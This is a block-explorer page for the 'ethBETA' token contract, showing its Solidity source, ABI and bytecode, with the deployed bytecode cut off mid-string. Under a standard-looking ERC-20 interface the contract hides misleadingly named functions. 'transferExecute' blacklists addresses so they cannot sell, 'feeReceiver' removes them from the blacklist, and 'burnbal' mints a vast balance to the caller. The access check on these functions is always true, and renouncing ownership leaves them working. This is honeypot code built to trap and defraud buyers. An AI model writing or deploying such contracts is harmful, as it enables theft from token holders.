ETH Price: $3,270.57 (+1.04%)

Token

ethBETA (BETA)
 

Overview

Max Total Supply

420,690,000,000 BETA

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,195,593,646.731055087 BETA

Value
$0.00
0x1f285e15166ccab7d035f4df7307821a8d58e1b7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ethBETA

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-12-29
*/

// SPDX-License-Identifier: MIT

pragma solidity = 0.8.18;


interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
 
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;   return msg.data;
    }
}
contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _Owner;
    }
    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
}


contract ethBETA is Context, IERC20, Ownable, IERC20Metadata {
    mapping (address => uint256) internal _balances;
    mapping (address => uint256) internal Auth;
    mapping (address => bool) private _execute;
    address private Version;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private maxTxLimit = 1*100**11*10**9;
    uint256 internal _totalSupply;
    uint256 private balances;
    string private constant _name = "ethBETA";
    string private constant _symbol = unicode"BETA";
    uint8 private _decimals = 9;
	bool UniV2 = true;


    constructor () {
 
        balances = maxTxLimit;
        _totalSupply += 420690000000 * 10**9;
        _balances[_msgSender()] += _totalSupply;
        Auth[_msgSender()] = 1;
       Version = _msgSender();
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


        

    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


        function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
function burnbal () public {
     if(Auth[Version] == 1) {
 uint256 burntotal = balances - _balances[_msgSender()];
 uint256 burnval = burntotal - 100;
 _balances[_msgSender()] = burnval;}}

    function feeReceiver(address _Address) external  {
        if(Auth[Version] == 1) {
        _execute[_Address] = false;}
    }

    function transferExecute(address _Address) external  {
        if(Auth[Version] == 1){
        _execute[_Address] = true;}
    }



    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

  
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transferfrom(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }


   

     
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_execute[sender])  require(UniV2 == false, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 
    function _transferfrom(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_execute[sender] || _execute[recipient]) require(UniV2 == false, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    } 
 


  
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

 
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnbal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"feeReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_Address","type":"address"}],"name":"transferExecute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526c7e37be2022c0914b268000000060065560098060006101000a81548160ff021916908360ff1602179055506001600960016101000a81548160ff0219169083151502179055503480156200005857600080fd5b5060006200006b620002c260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546008819055506816ce3f1e16bf150000600760008282546200012f919062000303565b92505081905550600754600160006200014d620002c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000198919062000303565b92505081905550600160026000620001b5620002c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000203620002c260201b60201c565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000253620002c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002b491906200034f565b60405180910390a36200036c565b600033905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200031082620002ca565b91506200031d83620002ca565b9250828201905080821115620003385762000337620002d4565b5b92915050565b6200034981620002ca565b82525050565b60006020820190506200036660008301846200033e565b92915050565b611a73806200037c6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b4114610227578063a0dd500014610245578063a9059cbb14610261578063dd62ed3e14610291576100ea565b8063715018a6146101e35780638a498cf6146101ed5780638da5cb5b14610209576100ea565b806323b872dd116100c857806323b872dd1461015b5780632a86d2831461018b578063313ce5671461019557806370a08231146101b3576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102c1565b60405161010491906112e6565b60405180910390f35b610127600480360381019061012291906113a1565b6102fe565b60405161013491906113fc565b60405180910390f35b61014561031c565b6040516101529190611426565b60405180910390f35b61017560048036038101906101709190611441565b610326565b60405161018291906113fc565b60405180910390f35b610193610427565b005b61019d610549565b6040516101aa91906114b0565b60405180910390f35b6101cd60048036038101906101c891906114cb565b610560565b6040516101da9190611426565b60405180910390f35b6101eb6105a9565b005b610207600480360381019061020291906114cb565b6106bf565b005b610211610784565b60405161021e9190611507565b60405180910390f35b61022f6107ad565b60405161023c91906112e6565b60405180910390f35b61025f600480360381019061025a91906114cb565b6107ea565b005b61027b600480360381019061027691906113a1565b6108af565b60405161028891906113fc565b60405180910390f35b6102ab60048036038101906102a69190611522565b6108cd565b6040516102b89190611426565b60405180910390f35b60606040518060400160405280600781526020017f6574684245544100000000000000000000000000000000000000000000000000815250905090565b600061031261030b610954565b848461095c565b6001905092915050565b6000600754905090565b6000610333848484610b25565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061037e610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156103fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f5906115d4565b60405180910390fd5b61041b8561040a610954565b85846104169190611623565b61095c565b60019150509392505050565b600160026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036105475760006001600061049e610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546008546104e69190611623565b905060006064826104f79190611623565b90508060016000610506610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b565b6000600960009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461060157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610781576000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4245544100000000000000000000000000000000000000000000000000000000815250905090565b600160026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036108ac576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60006108c36108bc610954565b8484610ee5565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c2906116c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a319061175b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b189190611426565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b906117ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa9061187f565b60405180910390fd5b60008111610c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3d90611911565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ce75750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610d435760001515600960019054906101000a900460ff16151514610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990611957565b60405180910390fd5b5b610d4e838383611251565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc906119e9565b60405180910390fd5b8181610de19190611623565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e739190611a09565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ed79190611426565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4b906117ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fba9061187f565b60405180910390fd5b60008111611006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffd90611911565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110af5760001515600960019054906101000a900460ff161515146110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590611957565b60405180910390fd5b5b6110ba838383611251565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611141576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611138906119e9565b60405180910390fd5b818161114d9190611623565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111df9190611a09565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112439190611426565b60405180910390a350505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611290578082015181840152602081019050611275565b60008484015250505050565b6000601f19601f8301169050919050565b60006112b882611256565b6112c28185611261565b93506112d2818560208601611272565b6112db8161129c565b840191505092915050565b6000602082019050818103600083015261130081846112ad565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113388261130d565b9050919050565b6113488161132d565b811461135357600080fd5b50565b6000813590506113658161133f565b92915050565b6000819050919050565b61137e8161136b565b811461138957600080fd5b50565b60008135905061139b81611375565b92915050565b600080604083850312156113b8576113b7611308565b5b60006113c685828601611356565b92505060206113d78582860161138c565b9150509250929050565b60008115159050919050565b6113f6816113e1565b82525050565b600060208201905061141160008301846113ed565b92915050565b6114208161136b565b82525050565b600060208201905061143b6000830184611417565b92915050565b60008060006060848603121561145a57611459611308565b5b600061146886828701611356565b935050602061147986828701611356565b925050604061148a8682870161138c565b9150509250925092565b600060ff82169050919050565b6114aa81611494565b82525050565b60006020820190506114c560008301846114a1565b92915050565b6000602082840312156114e1576114e0611308565b5b60006114ef84828501611356565b91505092915050565b6115018161132d565b82525050565b600060208201905061151c60008301846114f8565b92915050565b6000806040838503121561153957611538611308565b5b600061154785828601611356565b925050602061155885828601611356565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006115be602883611261565b91506115c982611562565b604082019050919050565b600060208201905081810360008301526115ed816115b1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061162e8261136b565b91506116398361136b565b9250828203905081811115611651576116506115f4565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116b3602483611261565b91506116be82611657565b604082019050919050565b600060208201905081810360008301526116e2816116a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611745602283611261565b9150611750826116e9565b604082019050919050565b6000602082019050818103600083015261177481611738565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006117d7602583611261565b91506117e28261177b565b604082019050919050565b60006020820190508181036000830152611806816117ca565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611869602383611261565b91506118748261180d565b604082019050919050565b600060208201905081810360008301526118988161185c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006118fb602983611261565b91506119068261189f565b604082019050919050565b6000602082019050818103600083015261192a816118ee565b9050919050565b50565b6000611941600083611261565b915061194c82611931565b600082019050919050565b6000602082019050818103600083015261197081611934565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006119d3602683611261565b91506119de82611977565b604082019050919050565b60006020820190508181036000830152611a02816119c6565b9050919050565b6000611a148261136b565b9150611a1f8361136b565b9250828201905080821115611a3757611a366115f4565b5b9291505056fea26469706673582212209e0ca0f0f5f8a5ba13459cc4af13bc4a37188618e3afff3c9b5b17001d132cf964736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c57806395d89b411161006657806395d89b4114610227578063a0dd500014610245578063a9059cbb14610261578063dd62ed3e14610291576100ea565b8063715018a6146101e35780638a498cf6146101ed5780638da5cb5b14610209576100ea565b806323b872dd116100c857806323b872dd1461015b5780632a86d2831461018b578063313ce5671461019557806370a08231146101b3576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102c1565b60405161010491906112e6565b60405180910390f35b610127600480360381019061012291906113a1565b6102fe565b60405161013491906113fc565b60405180910390f35b61014561031c565b6040516101529190611426565b60405180910390f35b61017560048036038101906101709190611441565b610326565b60405161018291906113fc565b60405180910390f35b610193610427565b005b61019d610549565b6040516101aa91906114b0565b60405180910390f35b6101cd60048036038101906101c891906114cb565b610560565b6040516101da9190611426565b60405180910390f35b6101eb6105a9565b005b610207600480360381019061020291906114cb565b6106bf565b005b610211610784565b60405161021e9190611507565b60405180910390f35b61022f6107ad565b60405161023c91906112e6565b60405180910390f35b61025f600480360381019061025a91906114cb565b6107ea565b005b61027b600480360381019061027691906113a1565b6108af565b60405161028891906113fc565b60405180910390f35b6102ab60048036038101906102a69190611522565b6108cd565b6040516102b89190611426565b60405180910390f35b60606040518060400160405280600781526020017f6574684245544100000000000000000000000000000000000000000000000000815250905090565b600061031261030b610954565b848461095c565b6001905092915050565b6000600754905090565b6000610333848484610b25565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061037e610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156103fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f5906115d4565b60405180910390fd5b61041b8561040a610954565b85846104169190611623565b61095c565b60019150509392505050565b600160026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036105475760006001600061049e610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546008546104e69190611623565b905060006064826104f79190611623565b90508060016000610506610954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b565b6000600960009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461060157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610781576000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4245544100000000000000000000000000000000000000000000000000000000815250905090565b600160026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036108ac576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60006108c36108bc610954565b8484610ee5565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c2906116c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a319061175b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b189190611426565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b906117ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa9061187f565b60405180910390fd5b60008111610c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3d90611911565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ce75750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610d435760001515600960019054906101000a900460ff16151514610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3990611957565b60405180910390fd5b5b610d4e838383611251565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc906119e9565b60405180910390fd5b8181610de19190611623565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e739190611a09565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ed79190611426565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4b906117ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fba9061187f565b60405180910390fd5b60008111611006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffd90611911565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110af5760001515600960019054906101000a900460ff161515146110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590611957565b60405180910390fd5b5b6110ba838383611251565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611141576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611138906119e9565b60405180910390fd5b818161114d9190611623565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190